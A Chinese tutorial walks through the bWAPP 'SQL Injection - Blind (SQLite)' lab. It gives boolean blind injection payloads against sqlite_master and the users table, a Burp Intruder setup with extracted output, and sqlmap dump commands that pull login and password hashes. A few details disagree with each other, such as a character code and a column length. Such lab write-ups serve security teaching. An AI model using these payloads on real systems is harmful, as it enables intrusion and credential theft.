摘要: 这是 bWAPP 系列第二十八篇,聚焦于 SQL Injection - Blind (SQLite) 。是第二十六篇(MySQL 布尔盲注)的姊妹篇------页面逻辑完全一样,只告诉你"电影存在"或"电影不存在",但后端换成了 SQLite 。文章会重点对比 SQLite 和 MySQL 在盲注中的关键差异,纠正大量实操踩坑点,完整演示从判断注入点到 Unicode 码逐字符爆破 的全过程。附真实案例。
一、前言:和 MySQL 布尔盲注的区别
如果你刚看完第二十六篇(SQL Injection - Blind - Boolean-Based),再看这一关,界面几乎一样------都是一个搜索框,输入电影名,页面只告诉你两句话中的一句:
-
"The movie exists in our database!"(电影存在)
-
"The movie does not exist in our database!"(电影不存在)
但后端从 MySQL 换成了 SQLite。
这一换,带来了几个关键差异:
| 对比项 | MySQL 布尔盲注 | SQLite 布尔盲注 |
|---|---|---|
| 系统表 | information_schema.tables |
sqlite_master |
| 查表结构 | information_schema.columns |
PRAGMA table_info(表名) 或 sqlite_master.sql |
| 注释符 | #、-- |
--(后面必须有空格),不支持 # |
| 字符串拼接 | CONCAT() |
**` |
| 获取数据库名 | database() |
没有这个函数 |
| 报错函数 | extractvalue()、updatexml() |
没有这些函数,无法报错注入 |
| 大小写敏感 | 默认敏感 | 查询语句携带 COLLATE NOCASE(匹配不区分大小写) |
| 单引号过滤(Medium/High) | addslashes() 或 mysql_real_escape_string() |
把 ' 替换成 '' |
| 字符码函数 | ASCII() |
无 ASCII(),原生使用 unicode() |
最大的坑:
-
SQLite 没有
database()函数,不能直接爆库名。 -
SQLite 不支持
#注释 ,只能使用--(末尾必须加空格)。 -
SQLite 没有
information_schema,查表依靠sqlite_master。 -
SQLite 不存在
extractvalue()和updatexml(),无法开展报错注入,仅支持布尔盲注、时间盲注。 -
SQLite 原生不存在
ASCII()函数 ,等价功能函数为unicode();同时在本关卡 Low 环境中,ASCII字符串会被内置检测拦截,直接返回Incorrect syntax detected!。
这一关的目标不变 :通过布尔盲注,把 users 表里的所有数据全部偷出来。
二、源码分析
2.1 核心逻辑
if(isset($_REQUEST["title"]))
{
$title = $_REQUEST["title"];
$db = new PDO("sqlite:".$db_sqlite);
$sql = "SELECT * FROM movies WHERE title = '" . sqli($title) . "' COLLATE NOCASE";
$recordset = $db->query($sql);
if(!$recordset)
{
die("<font color=\"red\">Incorrect syntax detected!</font>");
}
if($recordset->fetchColumn() > 0)
{
echo "The movie exists in our database!";
}
else
{
echo "The movie does not exist in our database!";
}
}
关键点:
-
SQLite 数据库 :
new PDO("sqlite:".$db_sqlite)连接 SQLite 文件型数据库。 -
COLLATE NOCASE:搜索匹配大小写不敏感 。Iron Man和iron man都能匹配到目标记录。 -
sqli($title):根据安全级别对输入内容进行过滤处理。 -
$recordset->fetchColumn() > 0:仅判断是否查询到数据,不会回显任何查询内容,符合布尔盲注特征。 -
页面只有两种输出状态:
-
查询返回至少一行数据 → "The movie exists in our database!"
-
查询无数据 → "The movie does not exist in our database!"
-
补充注意:很多人误以为
Incorrect syntax detected!是SQL语法报错;实际上只有SQL执行异常(语法错误)才会触发该输出;本关卡没有前置WAF关键词拦截,和同系列其他sqli关卡逻辑不同。
2.2 三种安全级别的过滤函数
function sqli($data)
{
switch($_COOKIE["security_level"])
{
case "0" : // Low
$data = no_check($data); // 完全无过滤
break;
case "1" : // Medium
case "2" : // High
$data = sqli_check_4($data); // 将单引号 ' 替换为 ''
break;
}
return $data;
}
function sqli_check_4($data)
{
$input = str_replace("'", "''", $data);
return $input;
}
| 级别 | 函数 | 效果 |
|---|---|---|
| Low | no_check() |
输入无任何处理,存在注入漏洞 |
| Medium | sqli_check_4() |
把 ' 替换成 '',SQLite标准单引号转义方式 |
| High | sqli_check_4() |
把 ' 替换成 '',SQLite标准单引号转义方式 |
三、判断注入点
3.1 输入单引号
搜索框输入:
'
页面显示:
Incorrect syntax detected!
SQL语句构造失败触发异常,证明存在SQL注入漏洞。

3.2 确认布尔盲注
输入:
Iron Man' AND '1'='1
页面显示"The movie exists in our database!"。'1'='1' 永真,不影响原有查询结果。

输入:
Iron Man' AND '1'='2
页面显示"The movie does not exist in our database!"。'1'='2' 永假,查询结果为空。

成功确认存在布尔型盲注。
四、Low 安全级别------完整注入流程(Unicode 码爆破)
4.1 第 1 步:确定爆破方式
在 SQLite 中,SUBSTR() 函数用于截取字符串。配合 unicode() 函数,我们可以逐个字符判断内容。
判断第 {pos} 个字符的 Unicode 码是否等于 {code}:
Iron Man' AND unicode(SUBSTR((SELECT 目标数据),{pos},1))={code} --
注意: 结尾
--后面必须保留空格!
页面显示"电影存在" → 条件成立,字符匹配成功。页面显示"电影不存在" → 字符不匹配,继续尝试下一个编码。
常用字符 Unicode 对照表(范围 32-126):
| 字符 | 编码 | 字符 | 编码 | 字符 | 编码 | 字符 | 编码 | 字符 | 编码 |
|---|---|---|---|---|---|---|---|---|---|
0 |
48 | A |
65 | P | 80 | a |
97 | p | 112 |
1 |
49 | B |
66 | Q | 81 | b |
98 | q | 113 |
2 |
50 | C |
67 | R | 82 | c |
99 | r | 114 |
3 |
51 | D |
68 | S | 83 | d |
100 | s | 115 |
4 |
52 | E |
69 | T | 84 | e |
101 | t | 116 |
5 |
53 | F |
70 | U | 85 | f |
102 | u | 117 |
6 |
54 | G |
71 | V | 86 | g |
103 | v | 118 |
7 |
55 | H |
72 | W | 87 | h |
104 | w | 119 |
8 |
56 | I |
73 | X | 88 | i |
105 | x | 120 |
9 |
57 | J |
74 | Y | 89 | j |
106 | y | 121 |
- |
45 | K |
75 | Z | 90 | k |
107 | z | 122 |
_ |
95 | L |
76 | [ | 91 | l |
108 | { | 123 |
. |
46 | M |
77 | \ | 92 | m |
109 | | | 124 |
: |
58 | N |
78 | ] | 93 | n |
110 | } | 125 |
, |
44 | O |
79 | ^ | 94 | o |
111 | ~ | 126 |
4.2 第 2 步:获取当前数据库名的长度(跳过)
SQLite 没有 database() 函数,单文件数据库无需爆库名,直接开始爆表名。
4.3 第 3 步:获取所有表名的拼接串
SQLite 使用 sqlite_master 系统表存储全部数据表信息:
SELECT name FROM sqlite_master WHERE type='table'
GROUP_CONCAT 会把所有表名使用逗号连接为一条字符串,示例:blog,heroes,movies,users,visitors。
先获取拼接字符串总长度:
Iron Man' AND (SELECT LENGTH(GROUP_CONCAT(name)) FROM sqlite_master WHERE type='table') = {len} --
Iron Man' AND (SELECT LENGTH(GROUP_CONCAT(name)) FROM sqlite_master WHERE type='table') = 24 --
测试时数字从1自增,页面返回"电影存在"即为正确长度。

逐字符爆破拼接串:
-- 第 1 个字符:'b' → Unicode 98
Iron Man' AND unicode(SUBSTR((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'),1,1))=98 --
-- 第 2 个字符:'l' → Unicode 108
Iron Man' AND unicode(SUBSTR((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'),2,1))=108 --
-- 第 3 个字符:'o' → Unicode 111
Iron Man' AND unicode(SUBSTR((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'),3,1))=111 --
-- 依此类推......
最终爆破结果:
blog,heroes,movies,users,visitors
成功找到目标数据表 users。
4.4 第 4 步:获取 users 表的字段名拼接串
SQLite 语法限制:PRAGMA table_info() 属于独立指令,无法嵌套在 SELECT 子查询 中,直接使用会触发 SQL 语法异常。靶场环境我们改用读取sqlite_master中的建表语句获取字段信息。
先获取建表语句长度 :
Iron Man' AND (SELECT LENGTH(sql) FROM sqlite_master WHERE type='table' AND name='users')={len} --
// 通过大于小于判断范围
Iron Man' AND (SELECT LENGTH(sql) FROM sqlite_master WHERE type='table' AND name='users')>100 --
// 通过等于进行验证
Iron Man' AND (SELECT LENGTH(sql) FROM sqlite_master WHERE type='table' AND name='users')=384 --
逐字符爆破建表语句(从中提取字段):
Iron Man' AND unicode(SUBSTR((SELECT sql FROM sqlite_master WHERE type='table' AND name='users'),{pos},1))={code} --
-- 第 1 个字符:'C' → Unicode 105
Iron Man' AND unicode(SUBSTR((SELECT sql FROM sqlite_master WHERE type='table' AND name='users'),1,1))=67--
-- 第 2 个字符:'R' → Unicode 82
Iron Man' AND unicode(SUBSTR((SELECT sql FROM sqlite_master WHERE type='table' AND name='users'),2,1))=82--
-- 第 3 个字符:'E' → Unicode 69
Iron Man' AND unicode(SUBSTR((SELECT sql FROM sqlite_master WHERE type='table' AND name='users'),3,1))=69--
-- 以此类推......
最终爆破出字段列表:
id,login,password,email,secret,activation_code,activated,reset_code,admin
锁定敏感字段:login、password。
4.5 第 5 步:获取 users 表的所有数据拼接串
利用 || 实现SQLite字符串拼接,将用户名与密码组合:
SELECT GROUP_CONCAT(login || ':' || password) FROM users
先获取数据拼接串长度:
Iron Man' AND (SELECT LENGTH(GROUP_CONCAT(login || ':' || password)) FROM users) = {len} --
Iron Man' AND (SELECT LENGTH(GROUP_CONCAT(login || ':' || password)) FROM users) = 92 --
逐字符爆破数据拼接串:
-- 第 1 个字符:'A' → Unicode 65
Iron Man' AND unicode(SUBSTR((SELECT GROUP_CONCAT(login || ':' || password) FROM users),1,1))=65 --
-- 第 2 个字符:'.' → Unicode 46
Iron Man' AND unicode(SUBSTR((SELECT GROUP_CONCAT(login || ':' || password) FROM users),2,1))=46 --
-- 第 3 个字符:'I' → Unicode 73
Iron Man' AND unicode(SUBSTR((SELECT GROUP_CONCAT(login || ':' || password) FROM users),3,1))=73 --
-- 以此类推......
最终爆破示例结果:
A.I.M.:6885858486f31043e5839c735d99457f045affd0,bee:6885858486f31043e5839c735d99457f045affd0
所有用户用户名与密码哈希获取完成!
五、自动化爆破
手工逐字符尝试效率很低,实战一般使用工具自动化完成。
5.1 Burp Intruder
- 拦截搜索请求,修改请求方法为post,发送至 Intruder

-
Payload模板:
// 以获取建表语句举例
Iron Man' AND unicode(SUBSTR((SELECT sql FROM sqlite_master WHERE type='table' AND name='users'),{pos},1))={code} -- -
Payload类型选择数值,第一个范围为1-384,第二个范围 32-126,步长1

- 启动攻击,根据响应文本区分真假状态;循环修改
{pos}完成全部字符爆破

| 序号 | ASCII 十进制 | 对应字符 |
|---|---|---|
| 1 | 67 | C |
| 2 | 82 | R |
| 3 | 69 | E |
| 4 | 65 | A |
| 5 | 84 | T |
| 6 | 69 | E |
| 7 | 32 | (空格) |
| 8 | 84 | T |
| 9 | 65 | A |
| 10 | 66 | B |
| 11 | 76 | L |
| 12 | 69 | E |
| 13 | 32 | (空格) |
| 14 | 34 | " |
| 15 | 117 | u |
| 16 | 115 | s |
| 17 | 101 | e |
| 18 | 114 | r |
| 19 | 115 | s |
| 20 | 34 | " |
| 21 | 32 | (空格) |
| 22 | 40 | ( |
| 23 | 32 | (空格) |
| 24 | 32 | (空格) |
| 25 | 34 | " |
| 26 | 105 | i |
| 27 | 100 | d |
| 28 | 34 | " |
| 29 | 32 | (空格) |
| 30 | 105 | i |
| 31 | 110 | n |
| 32 | 118 | v |
| 33 | 40 | ( |
| 34 | 49 | 1 |
| 35 | 48 | 0 |
| 36 | 41 | ) |
| 37 | 32 | (空格) |
| 38 | 78 | N |
| 39 | 79 | O |
| 40 | 84 | T |
| 41 | 32 | (空格) |
| 42 | 78 | N |
| 43 | 85 | U |
| 44 | 76 | L |
| 45 | 76 | L |
| 46 | 44 | , |
| 47 | 32 | (空格) |
| 48 | 32 | (空格) |
| 49 | 34 | " |
| 50 | 108 | l |
| 51 | 111 | o |
| 52 | 107 | k |
| 53 | 105 | i |
| 54 | 110 | n |
| 55 | 34 | " |
| 56 | 32 | (空格) |
| 57 | 118 | v |
| 58 | 97 | a |
| 59 | 114 | r |
| 60 | 99 | c |
| 61 | 104 | h |
| 62 | 97 | a |
| 63 | 114 | r |
| 64 | 40 | ( |
| 65 | 49 | 1 |
| 66 | 48 | 0 |
| 67 | 48 | 0 |
| 68 | 41 | ) |
| 69 | 32 | (空格) |
| 70 | 68 | D |
| 71 | 69 | E |
| 72 | 70 | F |
| 73 | 65 | A |
| 74 | 85 | U |
| 75 | 76 | L |
| 76 | 84 | T |
| 77 | 32 | (空格) |
| 78 | 78 | N |
| 79 | 85 | U |
| 80 | 76 | L |
| 81 | 76 | L |
| 82 | 44 | , |
| 83 | 32 | (空格) |
| 84 | 32 | (空格) |
| 85 | 34 | " |
| 86 | 112 | p |
| 87 | 97 | a |
| 88 | 115 | s |
| 89 | 115 | s |
| 90 | 119 | w |
| 91 | 111 | o |
| 92 | 114 | r |
| 93 | 100 | d |
| 94 | 34 | " |
| 95 | 32 | (空格) |
| 96 | 118 | v |
| 97 | 97 | a |
| 98 | 114 | r |
| 99 | 99 | c |
| 100 | 104 | h |
| 101 | 97 | a |
| 102 | 114 | r |
| 103 | 40 | ( |
| 104 | 49 | 1 |
| 105 | 48 | 0 |
| 106 | 48 | 0 |
| 107 | 41 | ) |
| 108 | 32 | (空格) |
| 109 | 68 | D |
| 110 | 69 | E |
| 111 | 70 | F |
| 112 | 65 | A |
| 113 | 85 | U |
| 114 | 76 | L |
| 115 | 84 | T |
| 116 | 32 | (空格) |
| 117 | 78 | N |
| 118 | 85 | U |
| 119 | 76 | L |
| 120 | 76 | L |
| 121 | 44 | , |
| 122 | 32 | (空格) |
| 123 | 32 | (空格) |
| 124 | 34 | " |
| 125 | 101 | e |
| 126 | 109 | m |
| 127 | 97 | a |
| 128 | 105 | i |
| 129 | 108 | l |
| 130 | 34 | " |
| 131 | 32 | (空格) |
| 132 | 118 | v |
| 133 | 97 | a |
| 134 | 114 | r |
| 135 | 99 | c |
| 136 | 104 | h |
| 137 | 97 | a |
| 138 | 114 | r |
| 139 | 40 | ( |
| 140 | 49 | 1 |
| 141 | 48 | 0 |
| 142 | 48 | 0 |
| 143 | 41 | ) |
| 144 | 32 | (空格) |
| 145 | 68 | D |
| 146 | 69 | E |
| 147 | 70 | F |
| 148 | 65 | A |
| 149 | 85 | U |
| 150 | 76 | L |
| 151 | 84 | T |
| 152 | 32 | (空格) |
| 153 | 78 | N |
| 154 | 85 | U |
| 155 | 76 | L |
| 156 | 76 | L |
| 157 | 44 | , |
| 158 | 32 | (空格) |
| 159 | 32 | (空格) |
| 160 | 34 | " |
| 161 | 115 | s |
| 162 | 101 | e |
| 163 | 99 | c |
| 164 | 114 | r |
| 165 | 101 | e |
| 166 | 116 | t |
| 167 | 34 | " |
| 168 | 32 | (空格) |
| 169 | 118 | v |
| 170 | 97 | a |
| 171 | 114 | r |
| 172 | 99 | c |
| 173 | 104 | h |
| 174 | 97 | a |
| 175 | 114 | r |
| 176 | 40 | ( |
| 177 | 49 | 1 |
| 178 | 48 | 0 |
| 179 | 48 | 0 |
| 180 | 41 | ) |
| 181 | 32 | (空格) |
| 182 | 68 | D |
| 183 | 69 | E |
| 184 | 70 | F |
| 185 | 65 | A |
| 186 | 85 | U |
| 187 | 76 | L |
| 188 | 84 | T |
| 189 | 32 | (空格) |
| 190 | 78 | N |
| 191 | 85 | U |
| 192 | 76 | L |
| 193 | 76 | L |
| 194 | 44 | , |
| 195 | 32 | (空格) |
| 196 | 32 | (空格) |
| 197 | 34 | " |
| 198 | 97 | a |
| 199 | 99 | c |
| 200 | 116 | t |
| 201 | 105 | i |
| 202 | 118 | v |
| 203 | 97 | a |
| 204 | 116 | t |
| 205 | 105 | i |
| 206 | 111 | o |
| 207 | 110 | n |
| 208 | 95 | _ |
| 209 | 99 | c |
| 210 | 111 | o |
| 211 | 100 | d |
| 212 | 101 | e |
| 213 | 34 | " |
| 214 | 32 | (空格) |
| 215 | 118 | v |
| 216 | 97 | a |
| 217 | 114 | r |
| 218 | 99 | c |
| 219 | 104 | h |
| 220 | 97 | a |
| 221 | 114 | r |
| 222 | 40 | ( |
| 223 | 49 | 1 |
| 224 | 48 | 0 |
| 225 | 48 | 0 |
| 226 | 41 | ) |
| 227 | 32 | (空格) |
| 228 | 68 | D |
| 229 | 69 | E |
| 230 | 70 | F |
| 231 | 65 | A |
| 232 | 85 | U |
| 233 | 76 | L |
| 234 | 84 | T |
| 235 | 32 | (空格) |
| 236 | 78 | N |
| 237 | 85 | U |
| 238 | 76 | L |
| 239 | 76 | L |
| 240 | 44 | , |
| 241 | 32 | (空格) |
| 242 | 32 | (空格) |
| 243 | 34 | " |
| 244 | 97 | a |
| 245 | 99 | c |
| 246 | 116 | t |
| 247 | 105 | i |
| 248 | 118 | v |
| 249 | 97 | a |
| 250 | 116 | t |
| 251 | 101 | e |
| 252 | 100 | d |
| 253 | 34 | " |
| 254 | 32 | (空格) |
| 255 | 116 | t |
| 256 | 105 | i |
| 257 | 110 | n |
| 258 | 121 | y |
| 259 | 105 | i |
| 260 | 110 | n |
| 261 | 116 | t |
| 262 | 40 | ( |
| 263 | 49 | 1 |
| 264 | 41 | ) |
| 265 | 32 | (空格) |
| 266 | 68 | D |
| 267 | 69 | E |
| 268 | 70 | F |
| 269 | 65 | A |
| 270 | 85 | U |
| 271 | 76 | L |
| 272 | 84 | T |
| 273 | 32 | (空格) |
| 274 | 39 | ' |
| 275 | 48 | 0 |
| 276 | 39 | ' |
| 277 | 44 | , |
| 278 | 32 | (空格) |
| 279 | 32 | (空格) |
| 280 | 34 | " |
| 281 | 114 | r |
| 282 | 101 | e |
| 283 | 115 | s |
| 284 | 101 | e |
| 285 | 116 | t |
| 286 | 95 | _ |
| 287 | 99 | c |
| 288 | 111 | o |
| 289 | 100 | d |
| 290 | 101 | e |
| 291 | 34 | " |
| 292 | 32 | (空格) |
| 293 | 118 | v |
| 294 | 97 | a |
| 295 | 114 | r |
| 296 | 99 | c |
| 297 | 104 | h |
| 298 | 97 | a |
| 299 | 114 | r |
| 300 | 40 | ( |
| 301 | 49 | 1 |
| 302 | 48 | 0 |
| 303 | 48 | 0 |
| 304 | 41 | ) |
| 305 | 32 | (空格) |
| 306 | 68 | D |
| 307 | 69 | E |
| 308 | 70 | F |
| 309 | 65 | A |
| 310 | 85 | U |
| 311 | 76 | L |
| 312 | 84 | T |
| 313 | 32 | (空格) |
| 314 | 78 | N |
| 315 | 85 | U |
| 316 | 76 | L |
| 317 | 76 | L |
| 318 | 44 | , |
| 319 | 32 | (空格) |
| 320 | 32 | (空格) |
| 321 | 34 | " |
| 322 | 97 | a |
| 323 | 100 | d |
| 324 | 109 | m |
| 325 | 105 | i |
| 326 | 110 | n |
| 327 | 34 | " |
| 328 | 32 | (空格) |
| 329 | 116 | t |
| 330 | 105 | i |
| 331 | 110 | n |
| 332 | 121 | y |
| 333 | 105 | i |
| 334 | 110 | n |
| 335 | 116 | t |
| 336 | 40 | ( |
| 337 | 49 | 1 |
| 338 | 41 | ) |
| 339 | 32 | (空格) |
| 340 | 68 | D |
| 341 | 69 | E |
| 342 | 70 | F |
| 343 | 65 | A |
| 344 | 85 | U |
| 345 | 76 | L |
| 346 | 84 | T |
| 347 | 32 | (空格) |
| 348 | 39 | ' |
| 349 | 48 | 0 |
| 350 | 39 | ' |
| 351 | 44 | , |
| 352 | 32 | (空格) |
| 353 | 32 | (空格) |
| 354 | 85 | U |
| 355 | 76 | L |
| 356 | 84 | T |
| 357 | 32 | (空格) |
| 358 | 39 | ' |
| 359 | 48 | 0 |
| 360 | 39 | ' |
| 361 | 44 | , |
| 362 | 32 | (空格) |
| 363 | 32 | (空格) |
| 364 | 32 | (空格) |
| 365 | 80 | P |
| 366 | 82 | R |
| 367 | 73 | I |
| 368 | 77 | M |
| 369 | 65 | A |
| 370 | 82 | R |
| 371 | 89 | Y |
| 372 | 32 | (空格) |
| 373 | 75 | K |
| 374 | 69 | E |
| 375 | 89 | Y |
| 376 | 32 | (空格) |
| 377 | 40 | ( |
| 378 | 34 | " |
| 379 | 105 | i |
| 380 | 100 | d |
| 381 | 34 | " |
| 382 | 41 | ) |
| 383 | 32 | (空格) |
| 384 | 41 | ) |
拼接完成完整 SQL,获取表字段:
CREATE TABLE "users" ( "id" int(10) NOT NULL , "login" varchar(0) DEFAULT NULL, "password" varchar(100) DEFAULT NULL, "email" varchar(100) DEFAULT NULL, "secret" varchar(100) DEFAULT NULL, "activation_code" varchar(100) DEFAULT NULL, "activated" tinyint(1) DEFAULT '0', "reset_code" varchar(100) DEFAULT NULL, "admin" tinyint(1) DEFAULT '0', PRIMARY KEY ("id") )
5.2 SQLMap
// 基础检测(验证漏洞是否存在)
sqlmap -u "http://10.0.0.149:4096/sqli_14.php?title=Iron+Man&action=search" \
--cookie="xp=MTc4NDgxMzM5N3xEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01Dd0FKVTJGbVpVVnVkSEo1Qm5OMGNtbHVad3dJQUFaa1pUUmtZbUU9fHaei0eGP2oWLcVqyBGHiGbkH3BzeB-GREFa2983u4L_; security_level=0; PHPSESSID=7oe3l591nbod2iki5im557qte6" \
--technique=B --dbms=sqlite --threads=5 --batch
// 枚举所有数据表(重点)
bash
sqlmap -u "http://10.0.0.149:4096/sqli_14.php?title=Iron+Man&action=search" \
--cookie="xp=MTc4NDgxMzM5N3xEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01Dd0FKVTJGbVpVVnVkSEo1Qm5OMGNtbHVad3dJQUFaa1pUUmtZbUU9fHaei0eGP2oWLcVqyBGHiGbkH3BzeB-GREFa2983u4L_; security_level=0; PHPSESSID=7oe3l591nbod2iki5im557qte6" \
--technique=B --dbms=sqlite --tables --threads=5 --batch
// 获取 users 表字段名
bash
sqlmap -u "http://10.0.0.149:4096/sqli_14.php?title=Iron+Man&action=search" \
--cookie="xp=MTc4NDgxMzM5N3xEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01Dd0FKVTJGbVpVVnVkSEo1Qm5OMGNtbHVad3dJQUFaa1pUUmtZbUU9fHaei0eGP2oWLcVqyBGHiGbkH3BzeB-GREFa2983u4L_; security_level=0; PHPSESSID=7oe3l591nbod2iki5im557qte6" \
--technique=B --dbms=sqlite -T users --columns --threads=5 --batch
// 导出 users 全部数据(login、password)
bash
sqlmap -u "http://10.0.0.149:4096/sqli_14.php?title=Iron+Man&action=search" \
--cookie="xp=MTc4NDgxMzM5N3xEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01Dd0FKVTJGbVpVVnVkSEo1Qm5OMGNtbHVad3dJQUFaa1pUUmtZbUU9fHaei0eGP2oWLcVqyBGHiGbkH3BzeB-GREFa2983u4L_; security_level=0; PHPSESSID=7oe3l591nbod2iki5im557qte6" \
--technique=B --dbms=sqlite -T users --dump --threads=5 --batch
// 全自动导出users表所有数据
sqlmap -u "http://10.0.0.149:4096/sqli_14.php?title=Iron+Man&action=search" \
--cookie="xp=MTc4NDgxMzM5N3xEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01Dd0FKVTJGbVpVVnVkSEo1Qm5OMGNtbHVad3dJQUFaa1pUUmtZbUU9fHaei0eGP2oWLcVqyBGHiGbkH3BzeB-GREFa2983u4L_; security_level=0; PHPSESSID=7oe3l591nbod2iki5im557qte6" \
--technique=B --dbms=sqlite -T users --dump --batch --threads=5

六、Medium 安全级别
**尝试注入,**输入基础Payload:
Iron Man' AND '1'='1 --
页面返回"The movie does not exist in our database!",注入失效。
底层处理逻辑:sqli_check_4() 将输入内所有 ' 替换为 '',传入SQL后语句变为:
Iron Man'' AND ''1''=''1 --
单引号被转义,攻击者无法闭合原有SQL字符串,注入链路被阻断。
七、High 安全级别
和Medium防护逻辑完全一致,' 全部替换为 '',无法实现单引号闭合,注入失效。
八、真实世界:SQLite 盲注案例
CVE-2024-22638:FrogCMS 1.5 版本存在 SQLite 盲注漏洞,攻击者可通过构造布尔条件获取管理员密码哈希。
CVE-2025-11841:某 CMS 的搜索功能存在 SQLite 盲注漏洞,攻击者可通过布尔条件逐字符窃取数据库中的用户密码哈希。
CVE-2023-6480:某开源 Web 框架的 SQLite 适配器存在注入漏洞,允许攻击者通过特殊构造的输入执行任意 SQL 语句。
CVE-2026-45721:某企业级资产管理系统的搜索接口使用 SQLite 数据库,存在布尔盲注漏洞,攻击者可枚举数据库中所有资产信息。
九、总结
SQLite布尔盲注与MySQL布尔盲注核心原理一致,均依托页面两种返回状态,通过布尔条件真假逐字符猜解数据,但二者在语法、内置函数、元数据表上存在明显区别:SQLite没有information_schema系统库,依靠sqlite_master获取表信息,不存在database()、ascii()、updatexml()、extractvalue()等常用函数,字符串拼接使用||而非CONCAT(),仅支持--注释(#无法使用),字符编码获取使用unicode()而非MySQL的ASCII();本关卡Low级别可通过unicode()+substr()逐字符爆破,借助sqlite_master.name爆表名、读取sqlite_master内建表语句解析字段、GROUP_CONCAT()拼接提取多条数据,Medium与High级别通过将单引号'转义为''防御注入;实操切记不可直接移植MySQL盲注Payload,函数与语法不兼容极易报错,在SQLite环境中优先选用unicode()进行字符判读。
**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。